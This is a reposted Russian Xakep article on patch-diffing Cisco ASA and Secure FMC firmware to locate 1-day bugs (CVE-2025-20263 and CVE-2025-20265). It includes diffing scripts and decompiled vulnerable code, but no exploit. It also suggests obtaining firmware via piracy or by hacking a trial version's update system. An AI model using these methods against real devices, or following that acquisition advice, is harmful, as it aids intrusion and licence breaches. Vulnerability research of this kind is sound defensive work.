The book of Magnus

IT-заметки и знания

Ваша киска сломала бы Cisco

Tags = [ InfoSec, Cisco, Xakep_ru ]

Данная статья взята с журнала Хакер и размещена здесь для ознакомления. Так что если Вам нравится, данный материал и у Вас есть возможность, то подпишитесь на них.

Про­шив­ки сетево­го обо­рудо­вания неред­ко скры­вают баги, поэто­му их diff-ана­лиз оста­ется основным спо­собом най­ти уяз­вимос­ти и потен­циаль­ные точ­ки для RCE. В сегод­няшней статье я покажу общие тех­ники и методы, которые при­меняю на прак­тике при ана­лизе 1-day-уяз­вимос­тей роуте­ров, фай­рво­лов и дру­гих подоб­ных сетевых устрой­ств.

Не­обхо­димый уро­вень для понима­ния статьи и осво­ения под­хода невысо­кий. Я не брал в качес­тве при­мера уяз­вимос­ти со слож­ным про­цес­сом поис­ка и экс­плу­ата­ции, тем не менее базовое пред­став­ление о работе с про­шив­ками (нап­ример, что такое binwalk) иметь необ­ходимо.

Цели

В качес­тве вен­дора для сво­их изыс­каний я выб­рал Cisco. На самом деле на его мес­те мог быть кто угод­но: Fortinet, Huawei, Juniper, — опи­сан­ные методы плюс‑минус подой­дут ко всем про­изво­дите­лям сетевых устрой­ств. Оста­лось най­ти пер­спек­тивные CVE, которые в иде­але спо­соб­ны дать нам RCE. Мож­но пос­мотреть информа­цию на CVE Details: Cisco, 2025 год, сор­тиров­ка по оцен­ке CVSS; а мож­но и адвай­зори почитать: critical and high impact, сор­тиров­ка по дате пуб­ликации.

На гла­за в пер­вую оче­редь попада­ет CVE-2025-20265: critical, CVSS 10.0, Cisco Secure FMC. Это нам инте­рес­но.

До­пол­нитель­но рас­смот­рим что‑то круп­ное и рас­простра­нен­ное, нап­ример роуте­ры, сетевые ком­мутато­ры, фай­рво­лы и про­чее, что может тор­чать в сеть. С пол­ным спис­ком мож­но озна­комить­ся в Ви­кипе­дии. Я выб­рал security-решение Cisco ASA.

При­меня­ем филь­тр адвай­зори по это­му про­дук­ту (Cisco Adaptive Security Appliance (ASA) Software), сор­тиру­ем по дате пуб­ликации за 2025 год. Оста­ются толь­ко уяз­вимос­ти high и medium по вер­сии Cisco, но не critical. Лад­но, работа­ем с тем, что есть. Не берем в рас­чет уяз­вимос­ти, которые тре­буют аутен­тифика­ции. Так­же пос­тара­емся най­ти те, что будут сра­баты­вать на нас­трой­ках по умол­чанию.

В ито­ге у нас оста­ются толь­ко DoS. В таком слу­чае надеж­да на нев­ниматель­ность вен­дора, на веро­ятность того, что он мог про­пус­тить потен­циаль­ный RCE. В пер­вую оче­редь ищем намек на DoS из‑за пов­режде­ния памяти, а не логичес­кие баги и зацик­ливание выпол­нения. В опи­сании CVE-2025-20263 находим сле­дующее: «A successful exploit could allow the attacker to cause a buffer overflow condition». Думаю, этот вари­ант нам под­ходит, берем его в работу и начина­ем ана­лиз.

CVE-2025-20263

Ищем прошивки

Ад­вай­зори по CVE-2025-20263, к сожале­нию, не дает никакой информа­ции об уяз­вимых вер­сиях. Он лишь пре­дос­тавля­ет инс­тру­мент для про­вер­ки наличия уяз­вимос­тей, которые харак­терны для кон­крет­ного про­дук­та кон­крет­ной вер­сии. Мож­но обра­тить­ся за помощью к CVE.org — там есть пол­ный спи­сок уяз­вимых вер­сий.

Сто­ит отме­тить, что у Cisco ASA весь­ма нет­риви­аль­ная сис­тема вер­сиони­рова­ния: что­бы поз­накомить­ся с ней поб­лиже, смот­ри офи­циаль­ный сайт. Если вкрат­це, то Cisco парал­лель­но под­держи­вает и выпус­кает пат­чи для мно­жес­тва вер­сий, то есть для иссле­дова­ния мож­но брать любую минор­ную с необ­ходимым vulnerability release (см. ссыл­ку выше). Мне приг­лянулась 9.18.4.50, пос­коль­ку у меня уже были наработ­ки по этой вет­ке релизов. В теории же мож­но было взять даже самую акту­аль­ную 9.22.1.3.

По­искав в интерне­те или же порыс­кав по сай­ту Cisco, мы можем нат­кнуть­ся на Release Notes для Cisco ASA Interim, из которых узна­ем, что сле­дующая вер­сия релиза пос­ле уяз­вимой — 9.18.4.52. Вдо­бавок нам откры­вает­ся тот факт, что патч был выпущен еще в янва­ре 2025 года (напом­ню, что пер­вая пуб­ликация адвай­зори датиру­ется августом 2025-го).

Сле­дующим эта­пом будет получе­ние необ­ходимых про­шивок для ана­лиза. На стра­нице того же адвай­зори мож­но най­ти ссыл­ку на ска­чива­ние обновле­ний. Если я пра­виль­но понял лицен­зион­ную и кор­поратив­ную полити­ку Cisco, то в слу­чае пат­чей, которые фик­сят баги уров­ня Critical и High, обновле­ния мож­но получить бес­плат­но, в осталь­ных слу­чаях необ­ходимо допол­нитель­но пла­тить за под­дер­жку девай­са. У меня в наличии не было ни устрой­ства, ни опла­чен­ного догово­ра на получе­ние обновле­ний и под­дер­жку от Cisco.

Ка­кие вари­анты получе­ния про­шивок мы можем исполь­зовать? Я думаю, что у каж­дого ресер­чера свои под­ходы, мои же сле­дующие:

  • на­писать нап­рямую вен­дору как security researcher или bug bounty hunter (если у тебя толь­ко рос­сий­ское граж­данс­тво и нет навыков соци­аль­ной инже­нерии, этот под­ход не сра­бота­ет);
  • по­лучить три­аль­ную (или облачную) вер­сию, если есть такая воз­можность, и хак­нуть сис­тему обновле­ний;
  • взять кон­крет­ное имя фай­ла про­шив­ки и про­вес­ти поиск в раз­личных поис­ковых сис­темах (на сай­те получе­ния обновле­ний есть точ­ное ука­зание име­ни фай­ла: asav9-18-4-50.zip);
  • вклю­чить в поиск раз­личные фай­лопомой­ки, ар­хивы;
  • ис­кать в индексе­рах P2P-сетей (при­вет, DC++ и ed2k и, конеч­но же, BitTorrent со сво­им DHT);
  • на сай­тах, которые спе­циали­зиру­ются на кон­крет­ной темати­ке, нап­ример LabHub — Network Emulator Disk Images Repository;
  • на форумах доб­родуш­ных сисад­минов, готовых за бутылоч­ку пива пре­дос­тавить кон­крет­ный файл про­шив­ки;
  • у дру­зей‑китай­цев, нап­ример kanxue52pjie.

Кро­ме железяч­ных Cisco ASA, в при­роде сущес­тву­ет Cisco Adaptive Security Virtual Appliance (ASAv). Они пред­став­ляют собой под­готов­ленные обра­зы вир­туаль­ных сис­тем, нап­ример для KVM, VMware, Hyper-V. Их так­же рекомен­дую най­ти и ска­чать. На моей прак­тике раз­личия про­шивок для вир­туалок и для реаль­ных железок прак­тичес­ки минималь­ны, если не брать в рас­чет архи­тек­туру. Про­водить динами­чес­кий ана­лиз, собирать fingerprint, раз­рабаты­вать PoC гораз­до про­ще и дешев­ле на вир­туал­ке.

Распаковываем

Здесь, конеч­но, все инди­виду­аль­но: есть вен­доры, которые при­думы­вают кас­томные пакеры, а есть те, кто пре­дос­тавля­ет всё в zip-архи­ве. Эмпи­ричес­ки я вывел для себя такую ста­тис­тику: чем про­ще дос­тать файл про­шив­ки в сети (нап­ример, ска­чать с офи­циаль­ного сай­та), тем боль­ше веро­ятность, что он будет зашиф­рован. При­мер с Cisco ASA — пря­мое тому доказа­тель­ство: дос­тать акту­аль­ные вер­сии нет­риви­аль­но, рас­паковать же мож­но с помощью Binwalk без каких‑либо допол­нитель­ных телод­вижений.

Ос­танав­ливать­ся и под­робно опи­сывать опе­раци­онную сис­тему, а так­же струк­туру про­шив­ки я здесь не буду, для нашей задачи дос­таточ­но того фак­та, что исполь­зует­ся Wind River Linux. Осталь­ное без проб­лем мож­но най­ти в сети, Cisco ASA уже дав­но изу­чена вдоль и поперек. Нап­ример, прек­расное иссле­дова­ние выпол­нили в свое вре­мя ребята из NCC Group.

Ищем различия

Что­бы локали­зовать мес­то исправ­ления уяз­вимос­ти, необ­ходимо най­ти все раз­личия меж­ду вер­сиями в фай­ловой сис­теме. Для выпол­нения этой задачи в раз­ное вре­мя я исполь­зовал раз­ные инс­тру­мен­ты:

  • са­мопис­ные скрип­ты с ripgrepfd и delta под капотом;
  • го­товое решение в виде diffoscope;
  • vifm с его comparediff и дру­гими коман­дами.

В пос­леднее вре­мя я откры­ваю для себя мир проп­риетар­ного соф­та, поэто­му про­бую Beyond Compare. Для опи­сан­ных в статье CVE он показал себя неп­лохо:

  • хо­рошая ско­рость работы мно­гопо­точ­ного алго­рит­ма;
  • раз­личные пра­вила опре­деле­ния «похожес­ти» фай­лов, в том чис­ле бинар­ных;
  • гиб­кие филь­тры для отсе­ива­ния ненуж­ного, в том чис­ле по содер­жимому фай­лов.

Ис­кать 1-day быва­ет так же слож­но, как игол­ку в сто­ге сена, а если нас еще обма­нули в адвай­зори, то вооб­ще прак­тичес­ки невоз­можно. По этой при­чине нам необ­ходимо мак­сималь­но сузить область поис­ка, в иде­але до одно­го фай­ла, ведь потом нуж­но еще срав­нить и про­ана­лизи­ровать его содер­жимое.

Ве­рим Cisco на сло­во и еще раз идем читать адвай­зори более деталь­но, что­бы понять, что мы можем сра­зу отбро­сить, даже не срав­нивая содер­жимое отли­чающих­ся фай­лов. Стро­им гипоте­зы и пред­положе­ния: если они не сра­бота­ют и пос­ле оче­ред­ного при­менен­ного филь­тра про­падут вооб­ще все фай­лы, то начина­ем заново:

  • это баг пов­режде­ния памяти → смот­рим толь­ко исполня­емые фай­лы и биб­лиоте­ки;
  • это HTTP-сер­вис → ищем http в фай­лах.

beyond-compare

До­пол­нитель­но мож­но отсе­ять стан­дар­тные прог­раммы и биб­лиоте­ки для Linux. У нас оста­нет­ся все­го семь исполня­емых фай­лов. Мож­но рис­кнуть и добавить филь­тр на вхож­дение сло­ва web, тог­да оста­нет­ся толь­ко один файл — lina. Я бы уже перешел к ана­лизу содер­жимого, но пос­чита­ем, что нам повез­ло. Какие еще сущес­тву­ют спо­собы филь­тра­ции без глу­боко­го ана­лиза про­шив­ки?

  1. Мож­но поис­кать сле­ды имен най­ден­ных исполня­емых фай­лов в сис­теме: rg -luuu "start-adi". В таком слу­чае мы обна­ружим, что мно­гие свя­зи ведут в lina, а так­же что сущес­тву­ют скрип­ты с име­нами по типу *http*, которые опе­риру­ют фай­лом lina.
  2. Вос­поль­зовать­ся ути­литой strings и обна­ружить, что lina име­ет сле­ды пол­ноцен­ного веб‑сер­вера в отли­чие от дру­гих. В общем, доказа­тель­ств того, что нам нуж­на имен­но lina, уже пре­дос­таточ­но. Кро­ме это­го, пос­ле проч­тения статьи от NCC Group воп­росов с выбором фай­ла для ана­лиза вооб­ще не воз­никнет, пос­коль­ку lina явля­ется монс­тру­озным соз­дани­ем на 100 Мбайт, которое отве­чает прак­тичес­ки за все про­цес­сы в Cisco ASA. И пос­ледний вари­ант иден­тифика­ции нуж­ного нам фай­ла в нашей ситу­ации (вспо­мина­ем, что это HTTP-сер­вис): под­нять вир­туаль­ную машину (об этом поз­днее) и пос­мотреть откры­тые пор­ты, а так­же слу­шающие их про­цес­сы.

Ищем баг

В интерне­те мож­но най­ти мно­жес­тво ста­тей и виде­оуро­ков, рас­ска­зыва­ющих, как срав­нивать бинар­ные фай­лы, поэто­му оста­нав­ливать­ся на том, что такое BinDiff, Diaphora и иже с ними, я не буду. Вмес­то это­го я рас­ска­жу, с какими проб­лемами в про­цес­се срав­нения мож­но стол­кнуть­ся и как я их обыч­но решаю.

Итак, какие проб­лемы у нас воз­ника­ют при ана­лизе CVE-2025-20263?

  1. Ог­ромный раз­мер исполня­емо­го фай­ла. Вывод: Diaphora на Python с неоп­тимизи­рован­ными алго­рит­мами под капотом сра­зу идет лесом. Приз­нать­ся чес­тно, на моей прак­тике Diaphora и так ни разу не давала вме­няемый резуль­тат, но, может быть, мне прос­то не везет.
  2. Боль­шое количес­тво изме­нений от вер­сии к вер­сии. В этом мы повер­хностно убе­дились во вре­мя срав­нения в Beyond Compare.

В прин­ципе, даже этих двух проб­лем дос­таточ­но, что­бы ана­лиз 1-day зашел в тупик.

Нач­нем с самого оче­вид­ного и рас­простра­нен­ного спо­соба: BinDiff. И BinExport (ути­лита для экспор­та информа­ции из средс­тва реверс‑инжи­нирин­га в фор­мат Protobuf), и BinDiff написа­ны на C++. Алго­рит­мы по опти­миза­ции «нас­тоялись» еще нес­коль­ко лет назад, поэто­му обыч­но я не испы­тывал проб­лем при ана­лизе даже самых боль­ших фай­лов. Сей­час я поль­зуюсь Binary Ninja, а в пос­ледних вер­сиях в виде эк­спе­римен­таль­ного пла­гина «завез­ли» BinExport, поэто­му не при­дет­ся пра­вить Makefile и генери­ровать заново API, что­бы соб­рать билд BinExport кон­крет­но для моей вер­сии. На моей машине экспорт занима­ет на удив­ление мало вре­мени. Поль­зовате­ли лицен­зий Commercial+ могут сде­лать так:

$ cat > binja_diff.py <<EOF  import sys  import binaryninja  for f in sys.argv[1:]:  with binaryninja.load(f) as bv:  ctx = binaryninja.PluginCommandContext(bv)  binaryninja.PluginCommand.get_valid_list(ctx)["BinExport"].execute(ctx)  EOF  $ python -m venv .venv && source .venv/bin/activate  $ python ~/binaryninja/scripts/install_api.py  $ python binja_diff.py ./asa9-18-4-5{0,2}-smp-k8.bin.extracted/5EE8A0/decompressed.bin.extracted/0/asa/bin/lina 

Файл BinDiff SQLite я генери­рую через CLI, тут же мож­но задавать необ­ходимые опции:

./build/bindiff lina_9_18_4_5{0,2}.BinExport

Пос­мотрим, как силь­но отли­чают­ся вер­сии 50 и 52 (раз­ница все­го в два vulnerability release!):

$ export DIFF_FILE=lina_9_18_4_50_vs_lina_9_18_4_52.BinDiff  $ sqlite3 $DIFF_FILE "SELECT COUNT(*) FROM function WHERE similarity < 1.0"  802  $ sqlite3 $DIFF_FILE "SELECT COUNT(*) FROM function WHERE similarity < 1.0 AND similarity > 0.7 AND confidence > 0.5"  482     

802 фун­кции... Да даже 482 фун­кции нет никако­го желания и вре­мени ана­лизи­ровать. Я для себя вывел два вари­анта решения этой проб­лемы.

  1. Ав­томати­зация отсе­ива­ния: про­пус­кать переме­ну мест базовых бло­ков, инс­трук­ций, обра­щать вни­мание на срав­нения, на добав­ление новых фун­кций и все в таком роде. Остатки прос­матри­вать вруч­ную. Это хороший и пра­виль­ный вари­ант, но подоб­ное решение на колен­ке быс­тро не раз­работа­ешь. Это уже тянет на отдель­ную статью.
  2. Ме­тод допуще­ний. Добав­ляем допол­нитель­ные усло­вия, отталки­ваясь от фак­тов: патч, веро­ятно, три­виаль­ный, зна­чит, и про­цент изме­нений неболь­шой; базовых бло­ков в фун­кции дол­жно быть немало, да и сама фун­кция немалень­кая.

Так делать, конеч­но, не сто­ит, пос­коль­ку в фун­кции могут быть и дру­гие изме­нения, помимо пат­ча. Кро­ме это­го, быва­ют слу­чаи, ког­да раз­работ­чики меня­ют опции ком­пилято­ра и мусор­ных изме­нений очень мно­го. Тем не менее такой спо­соб име­ет пра­во на жизнь: а вдруг удас­тся быс­тро най­ти нуж­ное мес­то?

$ sqlite3 $DIFF_FILE "SELECT COUNT(*) FROM function WHERE similarity < 1.0 AND similarity > 0.95 AND confidence > 0.8 AND basicblocks > 4 AND instructions > 20" 268

Уже хорошо, но прос­матри­вать 268 гра­фов фун­кций — не самое при­ятное занятие.

Пе­рей­дем луч­ше к срав­нению деком­пилиро­ван­ного кода. Для это­го сно­ва вос­поль­зуем­ся Binary Ninja: для всех най­ден­ных фун­кций получим HLIL и срав­ним друг с дру­гом, как буд­то это исходный код. Для начала экспор­тиру­ем информа­цию о срав­нении фун­кций в файл JSON. Затем извле­чем нуж­ные нам адре­са. Деком­пилиру­ем фун­кции по этим адре­сам (го­товый скрипт мож­но взять из набора моих снип­петов для Binary Ninja). И про­ведем срав­нение.

$ sqlite3 -json $DIFF_FILE "SELECT * FROM function WHERE similarity < 1.0 AND similarity > 0.95 AND confidence > 0.8 AND basicblocks > 4 AND instructions > 20" > out.json  $ cat out.json | jq ".[].address1" > 50.txt && cat out.json | jq ".[].address2" > 52.txt  $ # RUN BINARY NINJA SNIPPET  $ cat > decomp_diff.sh <<EOF  #!/bin/bash  JSON_FILE="$1"  DECOMP1_DIR="decomp_50"  DECOMP2_DIR="decomp_52"  to_hex() {  printf "%08x.txt" "$1"  }  TEMP_FILE1=$(mktemp)  TEMP_FILE2=$(mktemp)  cleanup() {  rm -f "$TEMP_FILE1" "$TEMP_FILE2"  }  trap cleanup EXIT  preprocess_file() {  local input_file="$1"  local output_file="$2"  sed -E '  s/sub_[0-9A-Fa-f]+/sub_XXXXXX/g  s/0x[0-9A-Fa-f]+/0xXXXXXX/g  s/[0-9A-Fa-f]{6,}/ADDR_XXXXXX/g  #s/[0-9]+/NUM/g  ' "$input_file" > "$output_file"  }  jq -c '.[]' "$JSON_FILE" | while read -r entry; do  address1=$(echo "$entry" | jq -r '.address1')  address2=$(echo "$entry" | jq -r '.address2')  file1=$(to_hex "$address1")  file2=$(to_hex "$address2")  path1="$DECOMP1_DIR/$file1"  path2="$DECOMP2_DIR/$file2"  preprocess_file "$path1" "$TEMP_FILE1"  preprocess_file "$path2" "$TEMP_FILE2"  # delta "$TEMP_FILE1" "$TEMP_FILE2"  nvim -d"$TEMP_FILE1" "$TEMP_FILE2"  read -r  done  EOF  $ chmod +x ./decomp_diff.sh && ./decomp_diff.sh out.json     

Да­же в этом скрип­те для про­веде­ния срав­нения есть допуще­ния: мы обез­личива­ем все адре­са фун­кций, дан­ных, шес­тнад­цатерич­ные чис­ла.

nvim-diff

Ду­маю, что опи­сан­ный под­ход впол­не при­меним на прак­тике. Но если все‑таки мы работа­ем навер­няка, то я бы пошел дру­гим путем — Version Tracking в сос­таве Ghidra. Мой план дей­ствий сле­дующий:

  1. Заг­ружа­ем и ана­лизи­руем бинари в Ghidra.
  2. В Version Tracking про­водим срав­нение, исполь­зуя сна­чала все кор­релято­ры Exact.
  3. За­тем запус­каем кор­релятор BSim, который заточен как раз на поиск пат­чей.
  4. Про­водим ком­фор­тное срав­нение вывода деком­пилято­ра.

ghidra-exact

Ре­комен­дую ите­ратив­ный ана­лиз, если ни разу не про­бова­ли Version Tracking

При этом не забыва­ем поиг­рать:

  • с тегами: помеча­ем инте­рес­ные нам фун­кции;
  • с филь­тра­ми: отсе­иваем ненуж­ное;
  • с апру­вами срав­нения: обя­затель­но помеча­ем все про­верен­ные фун­кции как иден­тичные (Accept), Version Tracking на осно­ве это­го допол­нит спи­сок похожих фун­кций.

Ну и в ходе ана­лиза мы можем на мес­те изме­нять сиг­натуры фун­кций, давать име­на и, в кон­це кон­цов, написать скрип­ты, которые будут отсе­ивать ненуж­ные нам изме­нения, вне­сен­ные ком­пилято­ром.

version-tracking

А вот еще один рабочий для меня метод в слу­чае, если реверс хотя бы одной вер­сии все‑таки был про­изве­ден: ана­лиз гра­фа вызовов, нап­ример с помощью Ariadne: Binary Ninja Graph Analysis Plugin. Обыч­но этот пла­гин я исполь­зую для ана­лиза пок­рытия во вре­мя три­ажа бага или нахож­дения новых путей во вре­мя фаз­зинга. Но и в слу­чае диф­финга он тоже выруча­ет.

Скриншот с примером

Анализ бага, PoC

Что мы име­ем в ито­ге? Давай, что­бы было более оче­вид­но, нем­ного поревер­сим и вос­ста­новим име­на фун­кций и перемен­ных, хотя в нашем слу­чае это вов­се не обя­затель­но.

char* url_path = *(uint64_t*)((char*)http + 0x258); // 1  uint64_t admin_len = strnlen(url_path, __wrap_strlen("/admin/")); // 2  char* url_path_1 = *(uint64_t*)((char*)http + 0x258);  int64_t offset;  if (__wrap_strncmp(url_path_1, "/admin/", admin_len)) // 3  {  if (!__wrap_strncmp(url_path_1, "/gadmin/", __wrap_strlen("/gadmin/")))  goto label_1943327;  if (!__wrap_strncmp(url_path_1, "/hadmin/", __wrap_strlen("/hadmin/")))  goto label_1943327;  offset = 0;  }  else  {  int64_t admin_wo_slash_len = __wrap_strlen("/admin");  offset = admin_wo_slash_len;  url_path = &url_path[admin_wo_slash_len]; // 4  }  memset(&out_buf, 0, 0x400);  if (*(uint8_t*)((char*)http + 0x87c) == 1)  __strncat_to_buf(0x400, &out_buf, "/gadmin", __wrap_strlen("/gadmin"));  else  __strncat_to_buf(0x400, &out_buf, "/hadmin", __wrap_strlen("/hadmin"));  __strncat_to_buf(0x400, &out_buf, url_path, // 5  __wrap_strlen(*(uint64_t*)((char*)http + 0x258)) - offset); // 6     

Вход­ной аргу­мент — http, который содер­жит оста­точ­ные ком­понен­ты URL пос­ле хос­та и пор­та (для прос­тоты будем называть это прос­то URL). Этим аргу­мен­том мы как раз и можем опе­риро­вать (см. 1 в лис­тинге). В слу­чае если дли­на URL будет мень­ше дли­ны стро­ки /admin/, все пой­дет напере­косяк:

  • не­вер­но пос­чита­ется раз­мер стро­ки /admin/ (см. 2), он будет мень­ше и равен дли­не URL;
  • срав­нение строк (см. 3) про­изой­дет некор­рек­тно, будет казать­ся, что, нап­ример, URL / равен /admin/;
  • нач­нется buffer over-read (см. 4), если быть точ­ным, то сна­чала про­изой­дет невер­ное ука­зание за гра­ницы;
  • тут же воз­никнет integer underflow (см. 6): strlen('/') - strlen('/admin');
  • и вот здесь (см. 5) уже про­исхо­дит buffer over-read.

По CWE из адвай­зори тоже иде­аль­но под­ходит — CWE-680: Integer Overflow to Buffer Overflow.

Как это пофик­сили:

int32_t url_path_len = __wrap_strlen(*(uint64_t*)((char*)http + 0x258)); if ((int64_t)__wrap_strlen(&out_buf) + (int64_t)url_path_len - offset <= 0x3ff) __strncat_to_buf(0x401, &out_buf, url_path);

Прос­то добави­ли про­вер­ку дли­ны URL. Имен­но за нее и получи­лось зацепить­ся во вре­мя bindiff-ана­лиза.

Что это нам дает? Да ничего! Обыч­ный DoS, который даже не име­ет смыс­ла рас­кру­чивать. По этой при­чине не будет и даль­нейше­го ана­лиза для выяс­нения вход­ных точек и усло­вий, и написа­ния PoC.

К сожале­нию, Cisco, а имен­но коман­да PSIRT, весь­ма ответс­твен­но под­ходит к сво­ей работе. Это одновре­мен­но и плюс (одних адвай­зори может быть дос­таточ­но для при­нятия решения, брать ли в раз­работ­ку тот или иной 1-day), и минус (наде­ять­ся на RCE, если написа­но, что толь­ко DoS, вряд ли сто­ит).

CVE-2025-20265

Ищем прошивки

В этом слу­чае в ад­вай­зори все отлично написа­но: уяз­вимы толь­ко вер­сии 7.0.7 и 7.7.0. А на стра­нице заг­рузки обновле­ний мож­но пос­мотреть, какие сле­дующие вер­сии име­ют патч. Возь­мем мажор­ную вер­сию поновее 7.7.x, то есть будем срав­нивать 7.7.0 и 7.7.10. На самом деле я бы взял, конеч­но, 7.0.6 и 7.0.7, упо­вая на то, что изме­нений там гораз­до мень­ше, но на прос­торах интерне­та быс­тро най­ти про­шив­ки этих вер­сий не уда­лось, поэто­му работа­ем с тем, что име­ем. Исполь­зуя уже испы­тан­ные методы поис­ка про­шивок, находим необ­ходимые и прис­тупа­ем к ана­лизу.

Распаковываем

Мои выводы по ста­тис­тике работа­ют и здесь: най­ти слож­но, рас­паковать лег­ко. В дан­ном слу­чае даже не пот­ребу­ется Binwalk, скрипт рас­паков­ки уже внед­рен в сам архив.

Ищем различия

Сно­ва берем в руки Beyond Compare или то, чем ты любишь поль­зовать­ся, и ищем что‑нибудь инте­рес­ное.

Как и ожи­далось, меж­ду 7.7.0 и 7.7.10 прос­то про­пасть! В рас­смат­рива­емом слу­чае я рекомен­дую опять же выс­тавить филь­тры (упо­мина­ние RADIUS, нап­ример), но к ним допол­нитель­но еще и нас­тро­ить при­ори­теты поис­ка:

  1. Ис­полня­емые фай­лы (в адвай­зори нет кон­крет­ного упо­мина­ния, что это бинар­ный баг, но по ста­тис­тике будем думать, что это имен­но так).
  2. Биб­лиоте­ки.
  3. Фай­лы кон­фигура­ции (очень похоже, что проб­лемы могут быть и здесь).
  4. jar-фай­лы (их очень мно­го, поэто­му мы прос­то наде­емся, что баг не там, хотя... если авто­мати­зиро­вать поиск, то будет даже про­ще, чем с бинаря­ми).
  5. Все осталь­ное.

Даль­ше у меня нет какого‑то кон­крет­ного решения или метода работы, толь­ко чуй­ка и опыт. И имен­но они под­ска­зали, что проб­лема кро­ется в фай­ле libsfclientx.so. В нем мно­го упо­мина­ний RADIUS, а самое глав­ное, есть фун­кции extern (кста­ти, мож­но исполь­зовать и такой мар­кер поис­ка нуж­ных фай­лов для ана­лиза), которые отве­чают за про­вер­ку аутен­тифика­ции через этот самый RADIUS.

Ищем баг

Как и в слу­чае с CVE-2025-20263, мож­но про­вес­ти пол­ный bindiff-ана­лиз. Но я даже не стал этим занимать­ся, пос­коль­ку с нас­кока получи­лось отсле­дить точ­ку вхо­да.

Как я уже упо­минал, в фай­лах есть фун­кции extern, а зна­чит, надо вос­ста­новить всю цепоч­ку вызовов.

$ export NAME="libsfclientx.so"  $ export FILE=$(fd $NAME)  $ rg -luuu "$NAME" 2>/dev/null  bundle.tar_/upgrade-root/files/Cisco_Secure_FW_Mgmt_Center-7.7.0-91-Preinstall.txz_/Volume/7.7.0-91/lib/rpm/rpmdb.sqlite  bundle.tar_/upgrade-root/files/Cisco_Secure_FW_Mgmt_Center-7.7.0-91-Preinstall.txz_/etc/ld.so.cache  bundle.tar_/upgrade-root/files/Cisco_Secure_FW_Mgmt_Center-7.7.0-91-Preinstall.txz_/Volume/7.7.0-91/sf/lib/libsfclientx.so  bundle.tar_/upgrade-root/files/Cisco_Secure_FW_Mgmt_Center-7.7.0-91-Preinstall.txz_/Volume/7.7.0-91/sf/lib/perl/5.34.1/x86_64-linux/sfclient.so  $ export SF=$(fd "sfclient.so")  $ comm -1 -2 <(rz-bin -Eqq $FILE 2>/dev/null | sort) <(rz-bin -iqq $SF 2>/dev/null | sort)  sfclient_Init  sfclient_perror  sfclient_User_GetById  sfclient_User_GetByUsername  sfclient_User_GetCurrentUser  sfclient_User_GetId  sfclient_User_LoggedIn  sfclient_User_Login  sfclient_User_Login_AuthConfig_Test  sfclient_User_Login_Post  $ rg -luuu "sfclient_User_Login" 2>/dev/null  bundle.tar_/upgrade-root/files/Cisco_Secure_FW_Mgmt_Center-7.7.0-91-Preinstall.txz_/Volume/7.7.0-91/sf/lib/libsfclientx.so  bundle.tar_/upgrade-root/files/Cisco_Secure_FW_Mgmt_Center-7.7.0-91-Preinstall.txz_/Volume/7.7.0-91/sf/lib/perl/5.34.1/x86_64-linux/sfclient.so  bundle.tar_/upgrade-root/files/Cisco_Secure_FW_Mgmt_Center-7.7.0-91-Preinstall.txz_/Volume/7.7.0-91/sf/lib/perl/5.34.1/sfclient.pm  bundle.tar_/upgrade-root/files/Cisco_Secure_FW_Mgmt_Center-7.7.0-91-Preinstall.txz_/Volume/7.7.0-91/sf/lib/perl/5.34.1/SF/Auth.pm  $ rg -luuu "sfclient_User_Login_Post" 2>/dev/null  bundle.tar_/upgrade-root/files/Cisco_Secure_FW_Mgmt_Center-7.7.0-91-Preinstall.txz_/Volume/7.7.0-91/sf/lib/libsfclientx.so  bundle.tar_/upgrade-root/files/Cisco_Secure_FW_Mgmt_Center-7.7.0-91-Preinstall.txz_/Volume/7.7.0-91/sf/lib/perl/5.34.1/x86_64-linux/sfclient.so  bundle.tar_/upgrade-root/files/Cisco_Secure_FW_Mgmt_Center-7.7.0-91-Preinstall.txz_/Volume/7.7.0-91/sf/lib/perl/5.34.1/sfclient.pm  $ rg -luuu "sfclient_Init" 2>/dev/null  bundle.tar_/upgrade-root/files/Cisco_Secure_FW_Mgmt_Center-7.7.0-91-Preinstall.txz_/Volume/7.7.0-91/sf/lib/libsfclientx.so  bundle.tar_/upgrade-root/files/Cisco_Secure_FW_Mgmt_Center-7.7.0-91-Preinstall.txz_/Volume/7.7.0-91/sf/lib/perl/5.34.1/x86_64-linux/sfclient.so  bundle.tar_/upgrade-root/files/Cisco_Secure_FW_Mgmt_Center-7.7.0-91-Preinstall.txz_/Volume/7.7.0-91/sf/lib/perl/5.34.1/sfclient.pm  bundle.tar_/upgrade-root/files/Cisco_Secure_FW_Mgmt_Center-7.7.0-91-Preinstall.txz_/Volume/7.7.0-91/sf/lib/perl/5.34.1/SF/Auth.pm     

Итак, у нас появи­лись два подоз­рева­емых, а имен­но Perl-фай­лы:

  • sfclient.pm
  • Auth.pm

Пер­вый файл ока­зал­ся не чем иным, как обер­ткой над бинар­ной биб­лиоте­кой sfclient.pm:

# ------- FUNCTION WRAPPERS --------  package sfclient;  *sfclient_User_Login_AuthConfig_Test = *sfclientc::sfclient_User_Login_AuthConfig_Test;  *sfclient_User_Login = *sfclientc::sfclient_User_Login;  *sfclient_User_Login_Post = *sfclientc::sfclient_User_Login_Post;  *sfclient_User_GetCurrentUser = *sfclientc::sfclient_User_GetCurrentUser;  *sfclient_User_GetByUsername = *sfclientc::sfclient_User_GetByUsername;  *sfclient_User_GetById = *sfclientc::sfclient_User_GetById;  *sfclient_User_GetId = *sfclientc::sfclient_User_GetId;  *sfclient_User_LoggedIn = *sfclientc::sfclient_User_LoggedIn;  *sfclient_User_login = *sfclientc::sfclient_User_login;  *sfclient_User_getcurrentuser = *sfclientc::sfclient_User_getcurrentuser;  *sfclient_User_getbyusername = *sfclientc::sfclient_User_getbyusername;  *sfclient_User_getbyid = *sfclientc::sfclient_User_getbyid;  *sfclient_Init = *sfclientc::sfclient_Init;  *sfclient_perror = *sfclientc::sfclient_perror;    

А вот вто­рой файл как раз исполь­зует эти самые фун­кции. Про­ана­лизи­ровать Perl-фай­лы ока­залось дос­таточ­но прос­то. Мож­но взять любой сер­вер LSP Perl, уста­новить в свой любимый редак­тор и отсле­дить порядок вызовов инте­ресу­ющих нас фун­кций. В ито­ге ока­зыва­ется, что целевая фун­кция все­го одна: sfclient::sfclient_User_login($username, $password, $conf), где username и password — это не что иное, как кре­ды, которые пос­тупа­ют при аутен­тифика­ции.

